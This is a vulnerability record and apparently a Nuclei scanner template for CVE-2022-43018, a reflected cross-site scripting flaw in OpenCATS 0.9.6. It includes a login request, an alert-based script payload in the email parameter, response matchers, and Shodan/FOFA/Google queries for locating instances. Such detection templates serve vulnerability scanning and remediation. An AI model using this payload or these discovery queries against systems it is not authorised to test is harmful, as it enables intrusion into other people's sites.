6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
37.9%
OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the email parameter in the Check Email function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
id: CVE-2022-43018
info:
name: OpenCATS 0.9.6 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the email parameter in the Check Email function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
remediation: |
Upgrade to a patched version of OpenCATS or apply the necessary security patches provided by the vendor.
reference:
- https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_checkEmail.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-43018
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Henry4E36/POCS
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-43018
cwe-id: CWE-79
epss-score: 0.00088
epss-percentile: 0.37623
cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: opencats
product: opencats
shodan-query:
- title:"OpenCATS"
- http.title:"opencats"
fofa-query: title="opencats"
google-query: intitle:"opencats"
tags: cve,cve2022,xss,opencats,authenticated
http:
- raw:
- |
POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
GET /index.php?m=toolbar&callback=abcd&a=checkEmailIsInSystem&email=</script><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>:0'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a0047304502203f51202bd643ea3d23ea6af2a9c6a1323d06dce6ea0497c0c45cac707ed1bb07022100d1284e3a5c79d32d2a4508e11676fd2d3f17053deece04191d43383a0d9056d2:922c64590222798bb761d5b6d8e72950